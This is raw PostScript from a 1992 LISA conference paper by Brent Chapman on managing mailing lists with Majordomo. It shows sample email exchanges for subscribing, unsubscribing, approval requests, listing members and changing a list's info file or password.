+728 X(majordomo)s +1016 X(-users)s +360 X +3942 Y +f.R 10 Z(In)s +438 X(return,)s +637 X(she)s +749 X(would)s +938 X(receive)s +1155 X(two)s +1278 X(messages)s +1531 X(.)s +1593 X(The)s +1720 X(\256rst)s +360 X +4015 Y(is)s +427 X(a)s +479 X(standard)s +727 X(Majordomo)s +1063 X(response:)s +360 X +4104 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +4164 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +4224 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +4320 Y +408 X(>>>>)s +568 X(subscribe)s +888 X(majordomo)s +1176 X(-users)s +360 X +4380 Y +408 X(Succeeded)s +696 X(.)s +360 X +4482 Y +f.R 10 Z(The)s +511 X(second)s +743 X(is)s +835 X("welcome")s +1178 X(message)s +1452 X(with)s +1619 X(speci\256c)s +360 X +4555 Y(information)s +719 X(concerning)s +1059 X(the)s +1185 X(list)s +1311 X(\(note)s +1491 X(that)s +1635 X(it)s +1716 X(also)s +360 X +4628 Y(includes)s +617 X(the)s +734 X(same)s +907 X(information)s +1257 X(that)s +1393 X(an)s +1491 X("info")s +1687 X(com-)s +360 X +4701 Y(mand)s +537 X(on)s +632 X(the)s +743 X(list)s +855 X(would)s +1050 X(return\))s +1231 X(.)s +1299 X(This)s +1447 X(message)s +1702 X(goes)s +2016 X +448 Y(to)s +2091 X(the)s +2196 X(subscribed)s +2504 X(address,)s +2744 X(not)s +2852 X(the)s +2957 X(address)s +3181 X(the)s +3287 X(request)s +2016 X +521 Y(was)s +2155 X(made)s +2335 X(from)s +2499 X(\(though)s +2740 X(in)s +2826 X(this)s +2957 X(case)s +3107 X(those)s +3282 X(are)s +3398 X(the)s +2016 X +594 Y(same;)s +2206 X(since)s +2377 X(Jane)s +2529 X(didn't)s +2722 X(specify)s +2949 X(an)s +3046 X(address)s +3280 X(to)s +3366 X(sub-)s +2016 X +667 Y(scribe,)s +2229 X(it)s +2303 X(defaulted)s +2588 X(to)s +2676 X(the)s +2794 X(address)s +3030 X(the)s +3148 X(request)s +3376 X(was)s +2016 X +740 Y(made)s +2183 X(from\):)s +2016 X +829 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +889 Y +2064 X(To:)s +2192 X(Jane@Somewhere)s +2640 X(.ORG)s +2016 X +949 Y +2064 X(Subject:)s +2352 X(Welcome)s +2608 X(to)s +2704 X(majordomo)s +2992 X(-users)s +2016 X +1045 Y +2064 X(Welcome)s +2320 X(to)s +2416 X(the)s +2544 X(majordomo)s +2832 X(-users)s +3056 X(mailing)s +3312 X(list!)s +2016 X +1141 Y +2064 X(If)s +2160 X(you)s +2288 X(ever)s +2448 X(want)s +2608 X(to)s +2704 X(remove)s +2928 X(yourself)s +2016 X +1201 Y +2064 X(from)s +2224 X(this)s +2384 X(mailing)s +2640 X(list,)s +2832 X(send)s +2992 X(the)s +2016 X +1261 Y +2064 X(following)s +2384 X(command)s +2640 X(in)s +2736 X(email)s +2928 X(to)s +2016 X +1321 Y +2064 X("Majordomo@Grea)s +2544 X(tCircle)s +2768 X(.COM":)s +2016 X +1417 Y +2192 X(unsubscribe)s +2576 X(majordomo)s +2864 X(-users)s +3088 X(\\)s +2016 X +1477 Y +2304 X(Jane@Somewhere)s +2752 X(.ORG)s +2016 X +1573 Y +2064 X(Here's)s +2288 X(the)s +2416 X(general)s +2672 X(information)s +3056 X(for)s +3184 X(the)s +2016 X +1633 Y +2064 X(list)s +2224 X(you've)s +2448 X(subscribed)s +2800 X(to,)s +2928 X(in)s +3024 X(case)s +3184 X(you)s +2016 X +1693 Y +2064 X(don't)s +2256 X(already)s +2512 X(have)s +2672 X(it:)s +2016 X +1789 Y +2064 X(This)s +2224 X(list)s +2384 X(is)s +2480 X(for)s +2608 X(discussions)s +2992 X(\(including)s +2016 X +1849 Y +2064 X(bug)s +2192 X(reports,)s +2480 X(enhancement)s +2864 X(reports,)s +2016 X +1909 Y +2064 X(and)s +2192 X(general)s +2448 X(usage)s +2640 X(tips\))s +2832 X(concerning)s +2016 X +1969 Y +2064 X(the)s +2192 X(Majordomo)s +2512 X(mailing)s +2768 X(list)s +2928 X(manager)s +3152 X(.)s +2016 X +2029 Y +2064 X(.)s +2096 X(.)s +2128 X(.)s +2016 X +2131 Y +f.R 10 Z(At)s +2109 X(the)s +2217 X(same)s +2381 X(time,)s +2544 X(the)s +2652 X(owner)s +2844 X(of)s +2925 X(the)s +3033 X(list)s +3143 X(\(through)s +3398 X(the)s +2016 X +2204 Y("majordomo)s +2350 X(-users)s +2509 X(-approval")s +2935 X(alias)s +3203 X(in)s +3398 X(the)s +2016 X +2277 Y +f.CW 10 Z(/etc/aliases)s +2533 X +f.R 10 Z(\256le)s +2656 X(on)s +2759 X(the)s +2879 X(Majordomo)s +3231 X(machine\))s +2016 X +2350 Y(would)s +2220 X(receive)s +2452 X(the)s +2572 X(following)s +2868 X(noti\256cation)s +3210 X(of)s +3302 X(a)s +3369 X(new)s +2016 X +2423 Y(user:)s +2016 X +2512 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +2572 Y +2064 X(To:)s +2192 X(majordomo)s +2480 X(-users)s +2672 X(-approval@Great)s +3152 X(Circle)s +3344 X(.COM)s +2016 X +2632 Y +2064 X(Subject:)s +2352 X(SUBSCRIBE)s +2672 X(majordomo)s +2960 X(-users)s +2016 X +2728 Y +2064 X(Jane@Somewhere)s +2512 X(.ORG)s +2672 X(has)s +2800 X(been)s +2016 X +2788 Y +2064 X(added)s +2256 X(to)s +2352 X(majordomo)s +2640 X(-users)s +2832 X(.)s +2016 X +2848 Y +2064 X(No)s +2160 X(action)s +2384 X(is)s +2480 X(required)s +2768 X(on)s +2864 X(your)s +3024 X(part)s +3152 X(.)s +2016 X +2950 Y +f.R 10 Z(If)s +2094 X(Jane)s +2247 X(wanted)s +2474 X(to)s +2560 X(subscribe)s +2846 X(some)s +3021 X(other)s +3193 X(address)s +3428 X(to)s +2016 X +3023 Y(majordomo)s +2323 X(-announce)s +2742 X(\(the)s +2988 X(email)s +3280 X(address)s +2016 X +3096 Y("SysStaff@Some)s +2482 X(where)s +2645 X(.ORG",)s +2886 X(for)s +3003 X(instance,)s +3280 X(so)s +3379 X(that)s +2016 X +3169 Y(all)s +2134 X(members)s +2429 X(of)s +2534 X(the)s +2666 X(system)s +2902 X(staff)s +3071 X(would)s +3286 X(receive)s +2016 X +3242 Y(announcements)s +2471 X(concerning)s +2808 X(Majordomo\),)s +3202 X(she)s +3332 X(could)s +2016 X +3315 Y(submit)s +2220 X(the)s +2324 X(following)s +2605 X(request:)s +2016 X +3404 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Jane@Somewhere)s +2704 X(.ORG)s +2016 X +3464 Y +2064 X(To:)s +2192 X(Majordomo@Great)s +2672 X(Circle)s +2864 X(.COM)s +2016 X +3560 Y +2064 X(subscribe)s +2384 X(majordomo)s +2672 X(-announce)s +2992 X(\\)s +2016 X +3620 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +3722 Y +f.R 10 Z(This)s +2184 X(would)s +2399 X(cause)s +2597 X(the)s +2729 X(following)s +3038 X(message)s +3315 X(to)s +3417 X(be)s +2016 X +3795 Y(returned)s +2260 X(to)s +2334 X(Jane:)s +2016 X +3884 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +3944 Y +2064 X(To:)s +2192 X(Jane@Somewhere)s +2640 X(.ORG)s +2016 X +4004 Y +2064 X(Subject:)s +2352 X(Majordomo)s +2672 X(results)s +2016 X +4100 Y +2064 X(>>>>)s +2224 X(subscribe)s +2544 X(majordomo)s +2832 X(-announce)s +3152 X(\\)s +2016 X +4160 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +4220 Y +2064 X(Your)s +2224 X(request)s +2480 X(to)s +2576 X(Majordomo@Great)s +3056 X(Circle)s +3248 X(.COM:)s +2016 X +4316 Y +2192 X(subscribe)s +2512 X(majordomo)s +2800 X(-announce)s +3120 X(\\)s +2016 X +4376 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +4472 Y +2064 X(has)s +2192 X(been)s +2352 X(forwarded)s +2672 X(to)s +2768 X(the)s +2896 X(owner)s +3088 X(of)s +3184 X(the)s +2016 X +4532 Y +2064 X("majordomo)s +2384 X(-announce")s +2736 X(list)s +2896 X(for)s +3024 X(approval)s +3280 X(.)s +2016 X +4592 Y +2064 X(This)s +2224 X(could)s +2416 X(be)s +2512 X(for)s +2640 X(any)s +2768 X(of)s +2864 X(several)s +3120 X(reasons:)s +2016 X +4688 Y +2192 X(You)s +2320 X(might)s +2512 X(have)s +2672 X(asked)s +2864 X(to)s +2960 X(subscribe)s +3280 X(to)s +3376 X(a)s +2016 X +4748 Y +2192 X("closed")s +2480 X(list,)s +2672 X(where)s +2864 X(all)s +2992 X(new)s +3120 X(additions)s +360 X +4967 Y +f.B 10 Z(140)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 141 7 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +435 Y +776 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(must)s +936 X(be)s +1032 X(approved)s +1320 X(by)s +1416 X(the)s +1544 X(list)s +1704 X(owner)s +1864 X(.)s +600 X +531 Y +776 X(You)s +904 X(might)s +1096 X(have)s +1256 X(asked)s +1448 X(to)s +1544 X(subscribe)s +1864 X(or)s +600 X +591 Y +776 X(unsubscribe)s +1160 X(an)s +1256 X(address)s +1512 X(other)s +1704 X(than)s +600 X +651 Y +776 X(the)s +904 X(one)s +1032 X(that)s +1192 X(appears)s +1448 X(in)s +1544 X(the)s +1672 X(headers)s +600 X +711 Y +776 X(of)s +872 X(your)s +1032 X(mail)s +1192 X(message)s +1416 X(.)s +600 X +807 Y +648 X(When)s +808 X(the)s +936 X(list)s +1096 X(owner)s +1288 X(approves)s +1576 X(your)s +1736 X(request,)s +2024 X(you)s +600 X +867 Y +648 X(will)s +808 X(be)s +904 X(notified)s +1160 X(.)s +600 X +963 Y +648 X(If)s +744 X(you)s +872 X(have)s +1032 X(any)s +1160 X(questions)s +1480 X(about)s +1672 X(the)s +600 X +1023 Y +648 X(policy)s +872 X(of)s +968 X(the)s +1096 X(list)s +1256 X(owner,)s +1480 X(please)s +1704 X(contact)s +600 X +1083 Y +648 X("majordomo)s +968 X(-announce)s +1256 X(-approval@Great)s +1736 X(Circle)s +1928 X(.COM")s +2088 X(.)s +600 X +1185 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(At)s +700 X(the)s +816 X(same)s +988 X(time,)s +1159 X(Majordomo)s +1507 X(sends)s +1689 X(the)s +1805 X(following)s +600 X +1258 Y(message)s +849 X(to)s +923 X(the)s +1027 X(mailing)s +1254 X(list)s +1359 X(owner:)s +600 X +1347 Y +648 X +f.CW 8 Z(From:)s +840 X(Majordomo@Great)s +1320 X(Circle)s +1512 X(.COM)s +600 X +1407 Y +648 X(To:)s +776 X(majordomo)s +1064 X(-announce)s +1352 X(-approval@Great)s +1832 X(Circle)s +2024 X(.COM)s +600 X +1467 Y +648 X(Subject:)s +936 X(APPROVE)s +1192 X(majordomo)s +1480 X(-announce)s +600 X +1563 Y +648 X(Jane@Somewhere)s +1096 X(.ORG)s +1256 X(requests)s +1544 X(that)s +1704 X(you)s +600 X +1623 Y +648 X(approve)s +904 X(the)s +1032 X(following:)s +600 X +1719 Y +776 X(subscribe)s +1096 X(majordomo)s +1384 X(-announce)s +1704 X(\\)s +600 X +1779 Y +888 X(SysStaff@Somew)s +1336 X(here)s +1464 X(.ORG)s +600 X +1875 Y +648 X(If)s +744 X(you)s +872 X(approve,)s +1160 X(please)s +1384 X(send)s +1544 X(a)s +1608 X(message)s +600 X +1935 Y +648 X(such)s +808 X(as)s +904 X(the)s +1032 X(following)s +1352 X(back)s +1512 X(to)s +600 X +1995 Y +648 X(Majordomo@Great)s +1128 X(Circle)s +1320 X(.COM)s +1480 X(\(with)s +1672 X(the)s +600 X +2055 Y +648 X(appropriate)s +1032 X(PASSWORD)s +1320 X(filled)s +1544 X(in,)s +600 X +2115 Y +648 X(of)s +744 X(course\):)s +600 X +2211 Y +776 X(approve)s +1032 X(PASSWORD)s +1320 X(subscribe)s +1640 X(\\)s +600 X +2271 Y +888 X(majordomo)s +1176 X(-announce)s +1496 X(SysStaff@Somewh)s +1976 X(ere)s +2072 X(.ORG)s +600 X +2367 Y +648 X(If)s +744 X(you)s +872 X(disapprove,)s +1256 X(do)s +1352 X(nothing)s +1576 X(.)s +600 X +2469 Y +f.R 10 Z(If)s +672 X(the)s +782 X(list)s +893 X(owner)s +1087 X(sends)s +1263 X(such)s +1413 X(an)s +1504 X("approve")s +1801 X(command)s +600 X +2542 Y(back)s +753 X(to)s +832 X(Majordomo,)s +1190 X(and)s +1313 X(the)s +1422 X(password)s +1699 X(is)s +1770 X(the)s +1878 X(correct)s +600 X +2615 Y(password)s +883 X(for)s +992 X(the)s +1106 X(list)s +1221 X(in)s +1306 X(question,)s +1582 X(then)s +1730 X(the)s +1845 X(addition)s +600 X +2688 Y(will)s +760 X(take)s +927 X(place)s +1069 X(.)s +1163 X(The)s +1322 X(address)s +1577 X(being)s +1779 X(subscribed)s +600 X +2761 Y(\(SysStaff@Some)s +1061 X(where)s +1224 X(.ORG,)s +1466 X(in)s +1586 X(this)s +1752 X(case\))s +1959 X(will)s +600 X +2834 Y(receive)s +864 X(a)s +964 X(standard)s +1260 X("Welcome)s +1614 X(to)s +1735 X(majordomo)s +2042 X(-)s +600 X +2907 Y(announce")s +906 X(message)s +1158 X(and)s +1279 X(the)s +1386 X(list)s +1494 X(owner)s +1685 X(will)s +1815 X(receive)s +2034 X(a)s +600 X +2980 Y(standard)s +894 X("SUBSCRIBE")s +1377 X(noti\256cation,)s +1767 X(as)s +1891 X(shown)s +600 X +3053 Y(above)s +759 X(.)s +600 X +3147 Y +744 X(Such)s +908 X(an)s +1002 X("approve")s +1301 X(cycle)s +1474 X(takes)s +1644 X(place)s +1818 X(if)s +1891 X(a)s +1953 X(user)s +600 X +3220 Y(attempts)s +852 X(to)s +927 X(subscribe)s +1202 X(or)s +1280 X(unsubscribe)s +1621 X(any)s +1740 X(address)s +1963 X(that)s +600 X +3293 Y(doesn't)s +830 X(match)s +1028 X(the)s +1144 X(one)s +1274 X(in)s +1360 X(the)s +1476 X(header)s +1688 X(of)s +1777 X(their)s +1934 X(mes-)s +600 X +3366 Y(sage,)s +758 X(or)s +835 X(if)s +898 X(a)s +950 X(user)s +1083 X(asks)s +1220 X(to)s +1294 X(subscribe)s +1568 X(to)s +1642 X(a)s +1694 X("closed")s +1941 X(list)s +2024 X(.)s +600 X +3460 Y +744 X(To)s +841 X(\256nd)s +967 X(out)s +1075 X(who)s +1212 X(is)s +1280 X(on)s +1369 X(the)s +1474 X(majordomo)s +1781 X(-users)s +1964 X(list,)s +600 X +3533 Y(Jane)s +741 X(would)s +929 X(send)s +1073 X(the)s +1177 X(following)s +1458 X(request:)s +600 X +3622 Y +648 X +f.CW 8 Z(From:)s +840 X(Jane@Somewhere)s +1288 X(.ORG)s +600 X +3682 Y +648 X(To:)s +776 X(Majordomo@Great)s +1256 X(Circle)s +1448 X(.COM)s +600 X +3778 Y +648 X(who)s +776 X(majordomo)s +1064 X(-users)s +600 X +3880 Y +f.R 10 Z(and)s +718 X(would)s +906 X(receive)s +1122 X(the)s +1226 X(following)s +1507 X(response:)s +600 X +3969 Y +648 X +f.CW 8 Z(From:)s +840 X(Majordomo@Great)s +1320 X(Circle)s +1512 X(.COM)s +600 X +4029 Y +648 X(To:)s +776 X(Jane@Somewhere)s +1224 X(.ORG)s +600 X +4089 Y +648 X(Subject:)s +936 X(Majordomo)s +1256 X(results)s +600 X +4185 Y +648 X(>>>>)s +808 X(who)s +936 X(majordomo)s +1224 X(-users)s +600 X +4245 Y +648 X(Members)s +904 X(of)s +1000 X(list)s +1160 X('majordomo)s +1480 X(-users':)s +600 X +4341 Y +648 X(brent@GreatCirc)s +1128 X(le)s +1192 X(.COM)s +1352 X(\(Brent)s +1576 X(Chapman\))s +600 X +4401 Y +648 X(Jane@Somewhere)s +1096 X(.ORG)s +600 X +4461 Y +648 X(Joe)s +776 X(User)s +936 X()s +600 X +4521 Y +648 X(.)s +680 X(.)s +712 X(.)s +2256 X +448 Y +2400 X +f.R 10 Z(To)s +2500 X(\256nd)s +2629 X(out)s +2740 X(which)s +2929 X(of)s +3010 X(the)s +3118 X(lists)s +3253 X(she's)s +3417 X(on)s +3510 X(that)s +3638 X(are)s +2256 X +521 Y(served)s +2469 X(by)s +2573 X(a)s +2641 X(given)s +2827 X(Majordomo)s +3179 X(server,)s +3397 X(Jane)s +3554 X(would)s +2256 X +594 Y(send)s +2400 X(the)s +2504 X(following)s +2785 X(request:)s +2256 X +683 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Jane@Somewhere)s +2944 X(.ORG)s +2256 X +743 Y +2304 X(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +839 Y +2304 X(which)s +2256 X +941 Y +f.R 10 Z(Majordomo)s +2592 X(would)s +2780 X(respond)s +3012 X(with:)s +2256 X +1030 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +1090 Y +2304 X(To:)s +2432 X(Jane@Somewhere)s +2880 X(.ORG)s +2256 X +1150 Y +2304 X(Subject:)s +2592 X(Majordomo)s +2912 X(results)s +2256 X +1246 Y +2304 X(>>>>)s +2464 X(which)s +2256 X +1306 Y +2304 X(The)s +2432 X(address)s +2688 X('Jane@Somewhere)s +3168 X(.ORG')s +3360 X(is)s +2256 X +1366 Y +2304 X(on)s +2400 X(the)s +2528 X(following)s +2848 X(lists)s +3040 X(served)s +3264 X(by)s +2256 X +1426 Y +2304 X(Majordomo@Great)s +2784 X(Circle)s +2976 X(.COM:)s +2256 X +1522 Y +2560 X(majordomo)s +2848 X(-users)s +2256 X +1645 Y +2400 X +f.R 10 Z(To)s +2515 X(unsubscribe)s +2874 X(herself)s +3097 X(from)s +3267 X(the)s +3391 X(majordomo)s +3698 X(-)s +2256 X +1718 Y(users)s +2415 X(list,)s +2537 X(Jane)s +2678 X(would)s +2866 X(send)s +3010 X(a)s +3062 X(request)s +3277 X(such)s +3421 X(as:)s +2256 X +1807 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Jane@Somewhere)s +2944 X(.ORG)s +2256 X +1867 Y +2304 X(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +1963 Y +2304 X(unsubscribe)s +2688 X(majordomo)s +2976 X(-users)s +3200 X(\\)s +2256 X +2023 Y +2544 X(Jane@Somewhere)s +2992 X(.ORG)s +2256 X +2125 Y +f.R 10 Z(To)s +2352 X(which)s +2537 X(Majordomo)s +2873 X(would)s +3061 X(respond:)s +2256 X +2214 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +2274 Y +2304 X(To:)s +2432 X(Jane@Somewhere)s +2880 X(.ORG)s +2256 X +2334 Y +2304 X(Subject:)s +2592 X(Majordomo)s +2912 X(results)s +2256 X +2430 Y +2304 X(>>>>)s +2464 X(unsubscribe)s +2848 X(majordomo)s +3136 X(-users)s +3360 X(\\)s +2256 X +2490 Y +2544 X(Jane@Somewhere)s +2992 X(.ORG)s +2256 X +2550 Y +2304 X(Succeeded)s +2592 X(.)s +2256 X +2652 Y +f.R 10 Z(The)s +2383 X(following)s +2665 X(message)s +2915 X(would)s +3104 X(also)s +3236 X(be)s +3323 X(sent)s +3455 X(to)s +3531 X(the)s +3637 X(list)s +2256 X +2725 Y(owner:)s +2256 X +2814 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +2874 Y +2304 X(To:)s +2432 X(majordomo)s +2720 X(-users)s +2912 X(-approval@Great)s +3392 X(Circle)s +3584 X(.COM)s +2256 X +2934 Y +2304 X(Subject:)s +2592 X(UNSUBSCRIBE)s +2976 X(majordomo)s +3264 X(-users)s +2256 X +3030 Y +2304 X(Jane@Somewhere)s +2752 X(.ORG)s +2912 X(has)s +3040 X(unsubscribed)s +2256 X +3090 Y +2304 X(from)s +2464 X(majordomo)s +2752 X(-users)s +2944 X(.)s +2256 X +3150 Y +2304 X(No)s +2400 X(action)s +2624 X(is)s +2720 X(required)s +3008 X(on)s +3104 X(your)s +3264 X(part)s +3392 X(.)s +2256 X +3273 Y +2400 X +f.R 10 Z(If)s +2475 X(Jane's)s +2673 X(mailer)s +2876 X(automatically)s +3273 X(appended)s +3559 X(a)s +3620 X(sig-)s +2256 X +3346 Y(nature)s +2453 X(to)s +2535 X(the)s +2647 X(end)s +2772 X(of)s +2856 X(all)s +2953 X(her)s +3067 X(outgoing)s +3332 X(messages,)s +3631 X(she)s +2256 X +3419 Y(could)s +2428 X(issue)s +2586 X(the)s +2692 X("end")s +2866 X(command)s +3153 X(as)s +3233 X(the)s +3339 X(last)s +3457 X(command)s +2256 X +3492 Y(of)s +2347 X(her)s +2468 X(messages)s +2757 X(to)s +2844 X(cause)s +3028 X(Majordomo)s +3377 X(to)s +3464 X(stop)s +3610 X(pro-)s +2256 X +3565 Y(cessing)s +2480 X(at)s +2556 X(that)s +2684 X(point)s +2821 X(.)s +2887 X(In)s +2969 X(addition,)s +3232 X(she)s +3348 X(could)s +3523 X(include)s +2256 X +3638 Y(blank)s +2438 X(lines)s +2599 X(or)s +2688 X(comments)s +2997 X(\(anything)s +3286 X(following)s +3579 X(a)s +3643 X('#')s +2256 X +3711 Y(on)s +2349 X(a)s +2406 X(line)s +2534 X(is)s +2607 X(a)s +2665 X(comment,)s +2959 X(and)s +3083 X(is)s +3156 X(discarded)s +3440 X(before)s +3638 X(the)s +2256 X +3784 Y(line)s +2379 X(is)s +2446 X(processed\))s +2753 X(if)s +2816 X(she)s +2927 X(wanted)s +3142 X(to)s +3194 X(.)s +2256 X +3878 Y +2400 X(If)s +2492 X(the)s +2622 X(owner)s +2836 X(of)s +2939 X(the)s +3069 X("majordomo)s +3403 X(-users")s +3637 X(list)s +2256 X +3951 Y(wished)s +2473 X(to)s +2553 X(change)s +2769 X(the)s +2878 X(information)s +3220 X(\256le)s +3333 X(that)s +3461 X(is)s +3533 X(sent)s +3668 X(in)s +2256 X +4024 Y(response)s +2513 X(to)s +2589 X("info")s +2774 X(and)s +2894 X("subscribe")s +3224 X(requests,)s +3484 X(he)s +3572 X(could)s +2256 X +4097 Y(do)s +2344 X(that)s +2467 X(with)s +2608 X(a)s +2660 X(message)s +2909 X(such)s +3053 X(as:)s +2256 X +4186 Y +2304 X +f.CW 8 Z(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +4282 Y +2304 X(newinfo)s +2560 X(majordomo)s +2848 X(-users)s +3072 X(PASSWORD)s +2256 X +4342 Y +2304 X(This)s +2464 X(is)s +2560 X(a)s +2624 X(revised)s +2880 X(information)s +3264 X(file)s +2256 X +4402 Y +2304 X(for)s +2432 X(the)s +2560 X(majordomo)s +2848 X(-users)s +3072 X(mailing)s +3328 X(list)s +3456 X(.)s +2256 X +4462 Y +2304 X(END)s +2256 X +4564 Y +f.R 10 Z(If)s +2333 X(the)s +2448 X(password)s +2732 X(used)s +2887 X(was)s +3024 X(the)s +3139 X(correct)s +3358 X(password)s +3643 X(for)s +2256 X +4637 Y(the)s +2368 X(list,)s +2498 X(Majordomo)s +2842 X(would)s +3038 X(replace)s +3261 X(the)s +3372 X(existing)s +3613 X(info)s +2256 X +4710 Y(\256le)s +2371 X(with)s +2519 X(the)s +2630 X(contents)s +2882 X(of)s +2966 X(the)s +3078 X(message)s +3335 X(to)s +3417 X(the)s +3529 X("END")s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(141)s +5280 Y +pagebot + +%%Page: 142 8 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(marker)s +579 X(\(or)s +686 X(the)s +798 X(end)s +924 X(of)s +1008 X(the)s +1119 X(message,)s +1392 X(if)s +1462 X(there)s +1625 X(was)s +1758 X(no)s +360 X +521 Y(marker\))s +571 X(.)s +637 X(A)s +713 X(wise)s +864 X(list)s +975 X(owner)s +1169 X(would)s +1363 X(probably)s +1627 X(include)s +360 X +594 Y(an)s +485 X("info)s +680 X(majordomo)s +987 X(-users")s +1234 X(command)s +1558 X(after)s +1742 X(the)s +360 X +667 Y("END")s +575 X(marker)s +788 X(so)s +871 X(that)s +996 X(he)s +1083 X(could)s +1256 X(verify)s +1440 X(that)s +1566 X(the)s +1673 X(infor-)s +360 X +740 Y(mation)s +568 X(update)s +768 X(succeeded)s +1043 X(.)s +360 X +834 Y +504 X(A)s +576 X(list)s +683 X(owner)s +874 X(could)s +1047 X(also)s +1180 X(use)s +1294 X(a)s +1349 X(message)s +1601 X(like)s +1727 X(this)s +360 X +907 Y(to)s +434 X(change)s +645 X(the)s +749 X(password)s +1022 X(for)s +1121 X(their)s +1266 X(list:)s +360 X +996 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +1092 Y +408 X(passwd)s +632 X(majordomo)s +920 X(-users)s +1144 X(OLD)s +1272 X(NEW)s +360 X +1194 Y +f.R 10 Z(If)s +463 X(the)s +604 X(old)s +748 X(password)s +1058 X(for)s +1194 X(majordomo)s +1501 X(-users)s +1720 X(was)s +360 X +1267 Y("OLD",)s +592 X(then)s +730 X(Majordomo)s +1067 X(would)s +1256 X(change)s +1468 X(the)s +1573 X(password)s +360 X +1340 Y(to)s +435 X("NEW")s +641 X(.)s +703 X(For)s +819 X(all)s +911 X(Majordomo)s +1249 X(list)s +1356 X(owner)s +1546 X(operations)s +360 X +1413 Y(that)s +495 X(require)s +718 X(passwords,)s +1045 X(knowledge)s +1370 X(of)s +1458 X(the)s +1573 X(password)s +360 X +1486 Y(for)s +470 X(the)s +585 X(list)s +701 X(is)s +779 X(the)s +894 X(sole)s +1035 X(authentication)s +1448 X(performed)s +1758 X(on)s +360 X +1559 Y(the)s +469 X(command)s +732 X(.)s +797 X(As)s +897 X(I've)s +1030 X(said)s +1164 X(elsewhere)s +1458 X(in)s +1536 X(this)s +1659 X(paper,)s +360 X +1632 Y(this)s +490 X(isn't)s +643 X(intended)s +907 X(to)s +993 X(be)s +1090 X(highly)s +1294 X(secure;)s +1518 X(it's)s +1638 X(merely)s +360 X +1705 Y(intended)s +625 X(to)s +712 X(keep)s +873 X(obnoxious)s +1184 X(people)s +1397 X(from)s +1560 X(making)s +1794 X(a)s +360 X +1778 Y(nuisance)s +625 X(of)s +711 X(themselves)s +1040 X(by)s +1137 X(abusing)s +1375 X(list)s +1489 X(owner)s +1687 X(com-)s +360 X +1851 Y(mands)s +534 X(.)s +360 X +1945 Y +504 X(Note)s +658 X(that)s +783 X(Majordomo)s +1121 X(does)s +1267 X(not)s +1376 X(yet)s +1482 X(support)s +1706 X(con-)s +360 X +2018 Y(tinuation)s +637 X(lines)s +803 X(\(a)s +894 X(command)s +1196 X(line)s +1336 X(that)s +1476 X(ends)s +1637 X(with)s +1794 X(a)s +360 X +2091 Y(backslash,)s +662 X(indicating)s +955 X(that)s +1081 X(the)s +1188 X(command)s +1476 X(continues)s +1758 X(on)s +360 X +2164 Y(the)s +471 X(next)s +615 X(line\))s +767 X(as)s +852 X(shown)s +1054 X(above,)s +1259 X(though)s +1472 X(it)s +1539 X(is)s +1612 X(high)s +1758 X(on)s +360 X +2237 Y(the)s +472 X(list)s +585 X(of)s +670 X(features)s +912 X(to)s +995 X(be)s +1089 X(added)s +1248 X(.)s +1318 X(Continuation)s +1697 X(lines)s +360 X +2310 Y(were)s +512 X(used)s +656 X(here)s +793 X(for)s +892 X(typesetting)s +1208 X(reasons)s +1408 X(.)s +360 X +2437 Y +664 X +f.B 10 Z(Experiences)s +1032 X(with)s +1180 